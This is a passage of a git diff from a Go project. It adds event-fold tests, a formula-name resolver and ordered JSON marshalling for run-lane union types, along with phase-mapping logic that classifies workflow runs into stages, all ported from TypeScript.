+	got := Fold(evts)
+
+	if len(got) != 2 {
+		t.Fatalf("fold size = %d, want 2 (a + b; c deleted, session ignored)", len(got))
+	}
+	if got["a"].Status != "in_progress" {
+		t.Errorf("a.status = %q, want in_progress (latest snapshot wins)", got["a"].Status)
+	}
+	if got["b"].Status != "closed" {
+		t.Errorf("b.status = %q, want closed", got["b"].Status)
+	}
+	if _, ok := got["c"]; ok {
+		t.Error("c should be removed by bead.deleted")
+	}
+}
+
+func TestApplyAdvancesCursorAndMutatesInPlace(t *testing.T) {
+	state := Fold([]events.Event{beadEvent(10, events.BeadCreated, "a", "open")})
+
+	last, _ := Apply(state, []events.Event{
+		beadEvent(11, events.BeadUpdated, "a", "closed"),
+		beadEvent(12, events.BeadCreated, "d", "open"),
+	})
+
+	if last != 12 {
+		t.Errorf("lastSeq = %d, want 12", last)
+	}
+	if state["a"].Status != "closed" {
+		t.Errorf("a.status = %q, want closed after live-tail apply", state["a"].Status)
+	}
+	if _, ok := state["d"]; !ok {
+		t.Error("d should be added by live-tail apply")
+	}
+}
+
+func TestApplyCursorTracksMaxSeqEvenForIgnoredEvents(t *testing.T) {
+	// A non-bead event still advances the cursor so the tailer does not re-read
+	// it; only the fold map is unaffected.
+	state := map[string]beads.Bead{}
+	last, _ := Apply(state, []events.Event{{Seq: 99, Type: events.SessionStopped, Subject: "w"}})
+	if last != 99 {
+		t.Errorf("lastSeq = %d, want 99 (cursor advances past ignored events)", last)
+	}
+	if len(state) != 0 {
+		t.Errorf("fold size = %d, want 0", len(state))
+	}
+}
+
+func TestDecodeBeadAcceptsCanonicalRawShape(t *testing.T) {
+	// The canonical producer shape is the raw bead snapshot (json.Marshal(b),
+	// exactly what CachingStore.notifyChange emits) — NOT the wrapped
+	// {"bead": ...} form. The fold must decode it, and an envelope carrying no
+	// correlation ids leaves the bead's own metadata untouched.
+	raw, _ := json.Marshal(beads.Bead{ID: "canon", Status: "open", Type: "task"})
+	b, ok := decodeBead(events.Event{Payload: raw})
+	if !ok || b.ID != "canon" {
+		t.Fatalf("canonical raw-shape decode failed: ok=%v bead=%+v", ok, b)
+	}
+}
+
+// TestApplyCountsDecodeMisses proves a bead.* event whose payload does not decode
+// to a bead with an id is counted as a decode miss (observable), not swallowed
+// silently. Non-bead events do not count.
+func TestApplyCountsDecodeMisses(t *testing.T) {
+	evts := []events.Event{
+		beadEvent(1, events.BeadCreated, "a", "open"),
+		{Seq: 2, Type: events.BeadUpdated, Payload: json.RawMessage(`{"status":"open"}`)}, // no id → miss
+		{Seq: 3, Type: events.BeadClosed, Payload: json.RawMessage(`garbage`)},            // undecodable → miss
+		{Seq: 4, Type: events.SessionWoke, Subject: "w"},                                  // not a bead event → not a miss
+	}
+	state := map[string]beads.Bead{}
+	last, stats := Apply(state, evts)
+	if last != 4 {
+		t.Errorf("lastSeq = %d, want 4", last)
+	}
+	if stats.DecodeMisses != 2 {
+		t.Errorf("DecodeMisses = %d, want 2 (id-less + garbage bead.* events)", stats.DecodeMisses)
+	}
+	if len(state) != 1 {
+		t.Errorf("fold size = %d, want 1 (only 'a' decoded)", len(state))
+	}
+}
+
+// TestApplyBackfillsEnvelopeCorrelationIDs proves the correlation-spine
+// guardrail: when a bead.* envelope carries step_id/session_id but the decoded
+// bead's metadata lacks them, Apply backfills them onto the bead metadata so
+// run/step grouping survives the spine work removing the metadata duplication.
+func TestApplyBackfillsEnvelopeCorrelationIDs(t *testing.T) {
+	// Bead payload deliberately omits gc.step_id / gc.session_id from metadata.
+	raw, _ := json.Marshal(beads.Bead{ID: "b1", Status: "open", Type: "task"})
+	state := map[string]beads.Bead{}
+	Apply(state, []events.Event{{
+		Seq:       1,
+		Type:      events.BeadCreated,
+		Payload:   raw,
+		StepID:    "gcg-step-9",
+		SessionID: "sess-9",
+	}})
+	got := state["b1"]
+	if got.Metadata[beadmeta.StepIDMetadataKey] != "gcg-step-9" {
+		t.Errorf("gc.step_id = %q, want gcg-step-9 (backfilled from envelope)", got.Metadata[beadmeta.StepIDMetadataKey])
+	}
+	if got.Metadata[beadmeta.SessionIDMetadataKey] != "sess-9" {
+		t.Errorf("gc.session_id = %q, want sess-9 (backfilled from envelope)", got.Metadata[beadmeta.SessionIDMetadataKey])
+	}
+}
+
+// TestApplyEnvelopeBackfillDoesNotClobberPayloadMetadata proves the backfill is
+// a fill-if-absent: a value already carried in the bead payload metadata wins
+// over the envelope copy (the payload is the authoritative snapshot).
+func TestApplyEnvelopeBackfillDoesNotClobberPayloadMetadata(t *testing.T) {
+	raw, _ := json.Marshal(beads.Bead{
+		ID: "b2", Status: "open", Type: "task",
+		Metadata: map[string]string{beadmeta.StepIDMetadataKey: "payload-step"},
+	})
+	state := map[string]beads.Bead{}
+	Apply(state, []events.Event{{
+		Seq: 1, Type: events.BeadCreated, Payload: raw, StepID: "envelope-step",
+	}})
+	if got := state["b2"].Metadata[beadmeta.StepIDMetadataKey]; got != "payload-step" {
+		t.Errorf("gc.step_id = %q, want payload-step (payload metadata wins over envelope)", got)
+	}
+}
diff --git a/internal/runproj/formulaname.go b/internal/runproj/formulaname.go
new file mode 100644
index 0000000000..3692f0663a
--- /dev/null
+++ b/internal/runproj/formulaname.go
@@ -0,0 +1,101 @@
+package runproj
+
+import (
+	"strings"
+	"unicode"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// resolveRunFormulaIdentityLane resolves a run group's formula name for the
+// "lane" mode used by the summary builder. Faithful port of the lane path
+// through TS resolveRunFormulaIdentity (shared/src/runs/formula-name.ts): the
+// summary uses only mode='lane' with no formulaDetail, so this collapses to the
+// metadata-name path followed by the graph.v2 title fallback. The bool mirrors
+// TS's `name: string | null`.
+//
+// Metadata path (runFormulaMetadataName, mode='lane'): first non-empty
+// pr_review.workflow_formula across issues, else first non-empty gc.formula.
+// Title fallback (runFormulaTitleFallback, mode='lane'): only for a root that
+// carries gc.formula_contract='graph.v2' AND gc.run_target, is non-terminal,
+// and whose trimmed title starts with "mol-".
+func resolveRunFormulaIdentityLane(root *runIssue, issues []runIssue) (string, bool) {
+	if name := metadataNonEmptyAcrossIssues(issues, "pr_review.workflow_formula"); name != "" {
+		return name, true
+	}
+	if name := metadataNonEmptyAcrossIssues(issues, beadmeta.FormulaMetadataKey); name != "" {
+		return name, true
+	}
+
+	if name, ok := runFormulaTitleFallbackLane(root); ok {
+		return name, true
+	}
+	return "", false
+}
+
+// metadataNonEmptyAcrossIssues returns the first trimmed non-empty value for key
+// across issues. Mirrors formula-name.ts metadataString (which uses rootMeta /
+// nonEmpty — trimmed, empty-skipping).
+func metadataNonEmptyAcrossIssues(issues []runIssue, key string) string {
+	for _, i := range issues {
+		if v := nonEmpty(i.metadata[key]); v != "" {
+			return v
+		}
+	}
+	return ""
+}
+
+// runFormulaTitleFallbackLane is the lane-mode graph.v2 title fallback.
+// Port of TS runFormulaTitleFallback for mode='lane'.
+func runFormulaTitleFallbackLane(root *runIssue) (string, bool) {
+	if root == nil {
+		return "", false
+	}
+	if nonEmpty(root.metadata[beadmeta.FormulaContractMetadataKey]) != "graph.v2" ||
+		nonEmpty(root.metadata[beadmeta.RunTargetMetadataKey]) == "" ||
+		isTerminalRunRootStatus(root.status) {
+		return "", false
+	}
+	title := nonEmpty(root.title)
+	if title == "" {
+		return "", false
+	}
+	// mode === 'lane' && !title.startsWith('mol-') ? null : title
+	if !strings.HasPrefix(title, "mol-") {
+		return "", false
+	}
+	return title, true
+}
+
+// isTerminalRunRootStatus reports whether a root status is terminal.
+// Port of TS isTerminalRunRootStatus.
+func isTerminalRunRootStatus(status string) bool {
+	switch strings.ToLower(strings.TrimSpace(status)) {
+	case "closed", "completed", "done", "failed", "skipped":
+		return true
+	default:
+		return false
+	}
+}
+
+// nonEmpty trims a value and returns "" for empty/whitespace. Port of TS
+// nonEmpty (bead-fields.ts), which trims the ECMAScript String.prototype.trim()
+// whitespace set. That set differs from Go's unicode.IsSpace in exactly two
+// codepoints with opposite membership: JS strips U+FEFF (ZWNBSP/BOM) but NOT
+// U+0085 (NEL). jsTrimCut applies that delta so the trim is byte-faithful.
+func nonEmpty(value string) string {
+	return strings.TrimFunc(value, jsTrimCut)
+}
+
+// jsTrimCut reports whether r is in the ECMAScript String.prototype.trim()
+// whitespace set: unicode.IsSpace, minus U+0085, plus U+FEFF.
+func jsTrimCut(r rune) bool {
+	switch r {
+	case '\u0085': // NEL: Go's unicode.IsSpace trims it, JS does not.
+		return false
+	case '\ufeff': // ZWNBSP/BOM: JS trims it, Go's unicode.IsSpace does not.
+		return true
+	default:
+		return unicode.IsSpace(r)
+	}
+}
diff --git a/internal/runproj/marshal.go b/internal/runproj/marshal.go
new file mode 100644
index 0000000000..69e6444a3d
--- /dev/null
+++ b/internal/runproj/marshal.go
@@ -0,0 +1,297 @@
+package runproj
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+)
+
+// The union DTO types below are TypeScript discriminated unions. Go has no
+// native tagged unions, so each carries every arm's fields and a custom
+// MarshalJSON that emits exactly the active arm's keys, in the same order the
+// TS object literals use. Key order is load-bearing for byte-for-byte golden
+// parity (the generator used JSON.stringify, which preserves insertion order).
+//
+// We build each object with an ordered list of (key, value) pairs rather than a
+// map, because encoding/json sorts map keys and would break parity.
+
+type kv struct {
+	key   string
+	value any
+}
+
+// marshalObject renders an ordered set of key/value pairs as a JSON object,
+// preserving the given key order (unlike a Go map, which json sorts).
+func marshalObject(pairs []kv) ([]byte, error) {
+	var buf bytes.Buffer
+	buf.WriteByte('{')
+	for i, p := range pairs {
+		if i > 0 {
+			buf.WriteByte(',')
+		}
+		k, err := json.Marshal(p.key)
+		if err != nil {
+			return nil, err
+		}
+		buf.Write(k)
+		buf.WriteByte(':')
+		v, err := json.Marshal(p.value)
+		if err != nil {
+			return nil, err
+		}
+		buf.Write(v)
+	}
+	buf.WriteByte('}')
+	return buf.Bytes(), nil
+}
+
+// MarshalJSON renders the active formula arm. TS: {status:'known', name} |
+// {status:'unavailable', error}.
+func (f RunLaneFormula) MarshalJSON() ([]byte, error) {
+	switch f.Status {
+	case "known":
+		return marshalObject([]kv{{"status", "known"}, {"name", f.Name}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", f.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneFormula status %q", f.Status)
+	}
+}
+
+// MarshalJSON renders the active scope arm. TS: {status:'available', kind, ref,
+// rootStoreRef} | {status:'unavailable', error}.
+func (s RunLaneScope) MarshalJSON() ([]byte, error) {
+	switch s.Status {
+	case "available":
+		return marshalObject([]kv{
+			{"status", "available"},
+			{"kind", s.Kind},
+			{"ref", s.Ref},
+			{"rootStoreRef", s.RootStoreRef},
+		})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", s.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneScope status %q", s.Status)
+	}
+}
+
+// MarshalJSON renders the active external-reference arm. TS:
+// {status:'available', label, url} | {status:'label_only', label} |
+// {status:'unavailable', error}.
+func (e RunLaneExternalReference) MarshalJSON() ([]byte, error) {
+	switch e.Status {
+	case "available":
+		return marshalObject([]kv{
+			{"status", "available"},
+			{"label", e.Label},
+			{"url", e.URL},
+		})
+	case "label_only":
+		return marshalObject([]kv{{"status", "label_only"}, {"label", e.Label}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", e.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneExternalReference status %q", e.Status)
+	}
+}
+
+// MarshalJSON renders the active updated-at arm. TS: {status:'available', at} |
+// {status:'unavailable', error}.
+func (u RunLaneUpdatedAt) MarshalJSON() ([]byte, error) {
+	switch u.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"at", u.At}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", u.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneUpdatedAt status %q", u.Status)
+	}
+}
+
+// MarshalJSON renders the active progress arm. TS: {status:'active_step',
+// stepId, stage, attempt} | {status:'stage_only', stage, error} |
+// {status:'unavailable', error}.
+func (p RunLaneProgress) MarshalJSON() ([]byte, error) {
+	switch p.Status {
+	case "active_step":
+		return marshalObject([]kv{
+			{"status", "active_step"},
+			{"stepId", p.StepID},
+			{"stage", p.Stage},
+			{"attempt", p.Attempt},
+		})
+	case "stage_only":
+		return marshalObject([]kv{
+			{"status", "stage_only"},
+			{"stage", p.Stage},
+			{"error", p.Error},
+		})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", p.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneProgress status %q", p.Status)
+	}
+}
+
+// MarshalJSON renders the active stage-position arm. TS: {status:'available',
+// index, key, label} | {status:'unavailable', error}.
+func (s RunLaneStagePosition) MarshalJSON() ([]byte, error) {
+	switch s.Status {
+	case "available":
+		return marshalObject([]kv{
+			{"status", "available"},
+			{"index", s.Index},
+			{"key", s.Key},
+			{"label", s.Label},
+		})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", s.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneStagePosition status %q", s.Status)
+	}
+}
+
+// MarshalJSON renders the active step-attempt arm. TS: {status:'available',
+// value} | {status:'unavailable', error}.
+func (a RunLaneStepAttempt) MarshalJSON() ([]byte, error) {
+	switch a.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"value", a.Value}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", a.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneStepAttempt status %q", a.Status)
+	}
+}
+
+// MarshalJSON renders the active lane-health arm. BuildRunSummary emits the
+// unavailable arm; EnrichRunSummary emits the available arm. TS:
+// {status:'available', data} | {status:'unavailable', error}.
+func (h RunLaneHealthState) MarshalJSON() ([]byte, error) {
+	switch h.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"data", h.Data}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", h.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneHealthState status %q", h.Status)
+	}
+}
+
+// MarshalJSON renders RunLaneHealth in deriveRunHealth's object-literal order.
+func (h RunLaneHealth) MarshalJSON() ([]byte, error) {
+	return marshalObject([]kv{
+		{"phaseConfidence", h.PhaseConfidence},
+		{"needsOperator", h.NeedsOperator},
+		{"stuckNode", h.StuckNode},
+		{"thrashingDetected", h.ThrashingDetected},
+		{"session", h.Session},
+	})
+}
+
+// MarshalJSON renders the active stuck-node arm. TS: {status:'available', id} |
+// {status:'unavailable', error}.
+func (n RunLaneStuckNode) MarshalJSON() ([]byte, error) {
+	switch n.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"id", n.ID}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", n.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneStuckNode status %q", n.Status)
+	}
+}
+
+// MarshalJSON renders the active session arm. TS: {status:'resolved', lastActive,
+// running, activity} | {status:'unresolved', error}.
+func (s RunLaneSessionState) MarshalJSON() ([]byte, error) {
+	switch s.Status {
+	case "resolved":
+		return marshalObject([]kv{
+			{"status", "resolved"},
+			{"lastActive", s.LastActive},
+			{"running", s.Running},
+			{"activity", s.Activity},
+		})
+	case "unresolved":
+		return marshalObject([]kv{{"status", "unresolved"}, {"error", s.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneSessionState status %q", s.Status)
+	}
+}
+
+// MarshalJSON renders the active last-active arm. TS Avail<{at}>.
+func (l RunLaneSessionLastActive) MarshalJSON() ([]byte, error) {
+	switch l.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"at", l.At}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", l.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneSessionLastActive status %q", l.Status)
+	}
+}
+
+// MarshalJSON renders the active running arm. TS Avail<{value}>.
+func (r RunLaneSessionRunning) MarshalJSON() ([]byte, error) {
+	switch r.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"value", r.Value}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", r.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneSessionRunning status %q", r.Status)
+	}
+}
+
+// MarshalJSON renders the active activity arm. TS Avail<{value}>.
+func (a RunLaneSessionActivity) MarshalJSON() ([]byte, error) {
+	switch a.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"value", a.Value}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", a.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunLaneSessionActivity status %q", a.Status)
+	}
+}
+
+// MarshalJSON renders the active census arm. BuildRunSummary emits the
+// unavailable arm; EnrichRunSummary emits the available arm. TS:
+// {status:'available', data} | {status:'unavailable', error}.
+func (c RunCensusState) MarshalJSON() ([]byte, error) {
+	switch c.Status {
+	case "available":
+		return marshalObject([]kv{{"status", "available"}, {"data", c.Data}})
+	case "unavailable":
+		return marshalObject([]kv{{"status", "unavailable"}, {"error", c.Error}})
+	default:
+		return nil, fmt.Errorf("runproj: invalid RunCensusState status %q", c.Status)
+	}
+}
+
+// MarshalJSON renders RunCensus in buildCensus's object-literal order.
+func (c RunCensus) MarshalJSON() ([]byte, error) {
+	return marshalObject([]kv{
+		{"byPhase", c.ByPhase},
+		{"totalInFlight", c.TotalInFlight},
+		{"unverifiable", c.Unverifiable},
+		{"knownDenominator", c.KnownDenominator},
+		{"thrashing", c.Thrashing},
+	})
+}
+
+// MarshalJSON renders the per-phase tally in zeroByPhase()'s key order.
+func (b RunCensusByPhase) MarshalJSON() ([]byte, error) {
+	return marshalObject([]kv{
+		{"intake", b.Intake},
+		{"implementation", b.Implementation},
+		{"review", b.Review},
+		{"approval", b.Approval},
+		{"finalization", b.Finalization},
+		{"blocked", b.Blocked},
+		{"complete", b.Complete},
+		{"active", b.Active},
+	})
+}
diff --git a/internal/runproj/phasemapping.go b/internal/runproj/phasemapping.go
new file mode 100644
index 0000000000..f2b3b8dd9f
--- /dev/null
+++ b/internal/runproj/phasemapping.go
@@ -0,0 +1,723 @@
+package runproj
+
+import (
+	"regexp"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// runIssue is the phase classifier's input shape, a faithful port of the TS
+// RunIssue (shared/src/runs/phaseMapping.ts). updatedAt is the resolved ISO
+// string (zero updated_at falls back to created_at, mirroring fromDashboardBead).
+type runIssue struct {
+	id        string
+	title     string
+	desc      string
+	status    string
+	issueType string
+	assignee  string
+	updatedAt string
+	parent    string
+	metadata  map[string]string
+}
+
+// phaseMapping is the result of mapRunPhase. Port of TS PhaseMapping.
+type phaseMapping struct {
+	phase       string
+	label       string
+	reviewRound int  // valid only when hasReviewRound is true
+	hasRound    bool // TS reviewRound: number | null
+}
+
+// mapRunPhase classifies a run group into a phase. Port of TS mapRunPhase.
+func mapRunPhase(issues []runIssue) phaseMapping {
+	// Status-based branches first — authoritative.
+	for _, i := range issues {
+		if i.status == "blocked" || strings.Contains(textForIssue(i), "blocked") {
+			return phaseMapping{phase: "blocked", label: "blocked"}
+		}
+	}
+
+	if len(issues) > 0 {
+		allClosed := true
+		for _, i := range issues {
+			if i.status != "closed" {
+				allClosed = false
+				break
+			}
+		}
+		if allClosed {
+			return phaseMapping{phase: "complete", label: "complete"}
+		}
+	}
+
+	// gascity-dashboard-q3p1: structured-first phase derivation.
+	if structured, ok := structuredPhase(issues); ok {
+		return structured
+	}
+
+	return fallbackPhase(issues)
+}
+
+// structuredPhase derives the phase from the run's current step.
+// Port of TS structuredPhase. The bool return mirrors TS's `null`.
+func structuredPhase(issues []runIssue) (phaseMapping, bool) {
+	var primary []runIssue
+	for _, i := range issues {
+		if isPrimaryStepIssue(i) {
+			primary = append(primary, i)
+		}
+	}
+	var inProgress []runIssue
+	for _, i := range primary {
+		if i.status == "in_progress" {
+			inProgress = append(inProgress, i)
+		}
+	}
+	activeStepID, hasActive := latestStepID(inProgress)
+	if !hasActive {
+		activeStepID, hasActive = furthestStageStepID(primary)
+	}
+	if !hasActive {
+		return phaseMapping{}, false
+	}
+
+	phase := stepIDPhase(activeStepID)
+	if phase == "review" {
+		resolved, ok := reviewRoundForIssues(issues)
+		if !ok {
+			resolved = fallbackReviewRound(issues)
+		}
+		return phaseMapping{
+			phase:       "review",
+			label:       "review round " + strconv.Itoa(resolved),
+			reviewRound: resolved,
+			hasRound:    true,
+		}, true
+	}
+	return phaseMapping{phase: phase, label: phase}, true
+}
+
+var stepIDDelimiters = regexp.MustCompile(`[-._:/]+`)
+
+func tokenizeStepID(stepID string) []string {
+	parts := stepIDDelimiters.Split(strings.ToLower(stepID), -1)
+	out := make([]string, 0, len(parts))
+	for _, p := range parts {
+		if p != "" {
+			out = append(out, p)
+		}
+	}
+	return out
+}
+
+// leadUpQualifierTokens mark a step as LEADING UP TO a gate rather than being
+// the gate itself. Port of TS LEAD_UP_QUALIFIER_TOKENS.
+var leadUpQualifierTokens = map[string]bool{
+	"pre": true, "prepare": true, "wait": true, "await": true,
+	"pending": true, "before": true, "for": true, "to": true,
+}
+
+var (
+	approvalStageTokens       = map[string]bool{"approval": true, "approve": true, "approved": true, "gate": true}
+	finalizationStageTokens   = map[string]bool{"finalize": true, "finalization": true, "merge": true, "cleanup": true, "publish": true}
+	reviewStageTokens         = map[string]bool{"review": true, "reviewer": true, "scorecard": true, "persona": true, "personas": true, "audit": true, "repro": true, "baseline": true, "investigation": true, "classify": true, "classification": true}
+	implementationStageTokens = map[string]bool{"implement": true, "implementation": true, "patch": true, "fixes": true, "work": true, "design": true}
+	intakeStageTokens         = map[string]bool{"intake": true, "bootstrap": true, "context": true, "router": true, "request": true, "preflight": true, "setup": true, "rebase": true}
+)
+
+// stepIDPhase classifies a single gc.step_id into a generic RunPhase.
+// Port of TS stepIdPhase.
+func stepIDPhase(stepID string) string {
+	tokens := tokenizeStepID(stepID)
+	if hasStageToken(tokens, approvalStageTokens, true) {
+		return "approval"
+	}
+	if hasStageToken(tokens, finalizationStageTokens, true) {
+		return "finalization"
+	}
+	if hasStageToken(tokens, reviewStageTokens, false) {
+		return "review"
+	}
+	if hasStageToken(tokens, implementationStageTokens, false) {
+		return "implementation"
+	}
+	if hasStageToken(tokens, intakeStageTokens, false) {
+		return "intake"
+	}
+	return "active"
+}
+
+func hasStageToken(tokens []string, stageTokens map[string]bool, rejectWithLeadUpQualifier bool) bool {
+	found := false
+	for _, t := range tokens {
+		if stageTokens[t] {
+			found = true
+			break
+		}
+	}
+	if !found {
+		return false
+	}
+	if rejectWithLeadUpQualifier {
+		for _, t := range tokens {
+			if leadUpQualifierTokens[t] {
+				return false
+			}
+		}
+	}
+	return true
+}
+
+// fallbackPhase is the keyword fallback used only when no step carries a
+// gc.step_id. Port of TS fallbackPhase.
+func fallbackPhase(issues []runIssue) phaseMapping {
+	if stepSignalContainsAny(issues, []string{"approval", "approved", "finalize-scope"}) {
+		return phaseMapping{phase: "approval", label: "approval"}
+	}
+	if stepSignalContainsAny(issues, []string{"post-merge", "finalization", "finalize"}) {
+		return phaseMapping{phase: "finalization", label: "finalization"}
+	}
+
+	round, hasRound := reviewRoundForIssues(issues)
+	if hasRound || stepSignalContainsAny(issues, []string{"review", "reviewer", "scorecard"}) {
+		resolved := round
+		if !hasRound {
+			resolved = fallbackReviewRound(issues)
+		}
+		return phaseMapping{
+			phase:       "review",
+			label:       "review round " + strconv.Itoa(resolved),
+			reviewRound: resolved,
+			hasRound:    true,
+		}
+	}
+
+	if stepSignalContainsAny(issues, []string{"implementation", "patch", "do-work"}) {
+		return phaseMapping{phase: "implementation", label: "implementation"}
+	}
+	if stepSignalContainsAny(issues, []string{"intake", "load-context", "router", "request"}) {
+		return phaseMapping{phase: "intake", label: "intake"}
+	}
+	return phaseMapping{phase: "active", label: "active"}
+}
+
+// stepSignalText is the step-identity text for fallback scanning: title plus any
+// gc.step_id. Port of TS stepSignalText.
+func stepSignalText(issue runIssue) string {
+	stepID := stringValue(issue.metadata[beadmeta.StepIDMetadataKey])
+	parts := make([]string, 0, 2)
+	if issue.title != "" {
+		parts = append(parts, issue.title)
+	}
+	if stepID != "" {
+		parts = append(parts, stepID)
+	}
+	return strings.ToLower(strings.Join(parts, " "))
+}
+
+func stepSignalContainsAny(issues []runIssue, needles []string) bool {
+	for _, i := range issues {
+		text := stepSignalText(i)
+		for _, n := range needles {
+			if strings.Contains(text, n) {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+var (
+	roundInKey      = regexp.MustCompile(`(?:^|\.)(?:iteration|attempt)\.(\d+)$`)
+	roundInValue    = regexp.MustCompile(`(?:^|\.)(?:iteration|attempt)\.(\d+)$`)
+	roundKeyNoDigit = regexp.MustCompile(`(?:^|\.)(?:iteration|attempt)$`)
+)
+
+// reviewRoundForIssue returns the per-issue review round when one is encoded in
+// metadata. Port of TS reviewRoundForIssue (three supported shapes). The bool
+// mirrors TS's `null`. Go map iteration is unordered, but the TS loop returns on
+// the first match in Object.entries order; to stay deterministic we iterate keys
+// in sorted order and return the first match (only one round shape exists per
+// bead in practice, so order does not change the value).
+func reviewRoundForIssue(issue runIssue) (int, bool) {
+	keys := make([]string, 0, len(issue.metadata))
+	for k := range issue.metadata {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+	for _, key := range keys {
+		value := issue.metadata[key]
+		if m := roundInKey.FindStringSubmatch(key); m != nil {
+			if n, err := strconv.Atoi(m[1]); err == nil {
+				return n, true
+			}
+		}
+		if roundKeyNoDigit.MatchString(key) {
+			if attempt, ok := parsePositiveInteger(value); ok {
+				return attempt, true
+			}
+		}
+		if m := roundInValue.FindStringSubmatch(value); m != nil {
+			if n, err := strconv.Atoi(m[1]); err == nil {
+				return n, true
+			}
+		}
+	}
+	return 0, false
+}
+
+// reviewRoundForIssues returns the max per-issue review round. Port of TS
+// reviewRoundForIssues.
+func reviewRoundForIssues(issues []runIssue) (int, bool) {
+	best := 0
+	found := false
+	for _, i := range issues {
+		if r, ok := reviewRoundForIssue(i); ok {
+			if !found || r > best {
+				best = r
+			}
+			found = true
+		}
+	}
+	return best, found
+}
+
+// fallbackReviewRound counts issues whose text mentions "review", min 1.
+// Port of TS fallbackReviewRound.
+func fallbackReviewRound(issues []runIssue) int {
+	count := 0
+	for _, i := range issues {
+		if strings.Contains(textForIssue(i), "review") {
+			count++
+		}
+	}
+	if count < 1 {
+		return 1
+	}
+	return count
+}
+
+// textForIssue concatenates issue fields for keyword scanning, skipping gc.var.*
+// keys. Port of TS textForIssue.
+func textForIssue(issue runIssue) string {
+	metaKeys := make([]string, 0, len(issue.metadata))
+	for k := range issue.metadata {
+		if strings.HasPrefix(k, "gc.var.") {
+			continue
+		}
+		metaKeys = append(metaKeys, k)
+	}
+	sort.Strings(metaKeys)
+	var metaParts []string
+	for _, k := range metaKeys {
+		metaParts = append(metaParts, k+" "+issue.metadata[k])
+	}
+	metadataText := strings.Join(metaParts, " ")
+
+	parts := []string{
+		issue.title,
+		issue.desc,
+		issue.status,
+		issue.issueType,
+		issue.assignee,
+		issue.parent,
+		metadataText,
+	}
+
+	out := make([]string, 0, len(parts))
+	for _, p := range parts {
+		if p != "" {
+			out = append(out, p)
+		}
+	}
+	return strings.ToLower(strings.Join(out, " "))
+}
+
+// stringValue trims a string-typed metadata value; non-strings become "".
+// Port of TS stringValue. (Go metadata is map[string]string, so a missing key
+// yields "" naturally.) It delegates to nonEmpty so the JS-faithful trim
+// (String.prototype.trim(): BOM stripped, NEL kept) is uniform across the
+// package's metadata helpers rather than diverging on Go's unicode.IsSpace.
+func stringValue(value string) string {
+	return nonEmpty(value)
+}
+
+func parsePositiveInteger(value string) (int, bool) {
+	parsed, err := strconv.Atoi(strings.TrimSpace(value))
+	if err != nil {
+		return 0, false
+	}
+	if parsed > 0 {
+		return parsed, true
+	}
+	return 0, false
+}
+
+// runStages is the generic 5-stage ladder. Port of TS runStages.
+var runStages = [][2]string{
+	{"intake", "Intake"},
+	{"implementation", "Implementation"},
+	{"review", "Review"},
+	{"approval", "Approval"},
+	{"finalization", "Finalization"},
+}
+
+// stageProgress derives the lane stage ladder. Port of TS stageProgress.
+func stageProgress(phase phaseMapping, formula string, hasFormula bool, issues []runIssue) []RunStage {
+	formulaStages := stagesForFormula(formula, hasFormula)
+	if len(formulaStages) > 0 {
+		return formulaStageProgress(formulaStages, issues)
+	}
+
+	if phase.phase == "blocked" {
+		return []RunStage{{Key: "blocked", Label: "Blocked", Status: "blocked"}}
+	}
+
+	if phase.phase == "complete" {
+		out := make([]RunStage, len(runStages))
+		for i, s := range runStages {
+			out[i] = RunStage{Key: s[0], Label: s[1], Status: "complete"}
+		}
+		return out
+	}
+
+	activeIndex := -1
+	for i, s := range runStages {
+		if s[0] == phase.phase {
+			activeIndex = i
+			break
+		}
+	}
+
+	if activeIndex < 0 {
+		out := make([]RunStage, len(runStages))
+		for i, s := range runStages {
+			status := "pending"
+			if s[0] == "implementation" {
+				status = "active"
+			}
+			out[i] = RunStage{Key: s[0], Label: s[1], Status: status}
+		}
+		return out
+	}
+
+	out := make([]RunStage, len(runStages))
+	for idx, s := range runStages {
+		label := s[1]
+		if s[0] == "review" && phase.hasRound {
+			label = "Review round " + strconv.Itoa(phase.reviewRound)
+		}
+		var status string
+		switch {
+		case idx < activeIndex:
+			status = "complete"
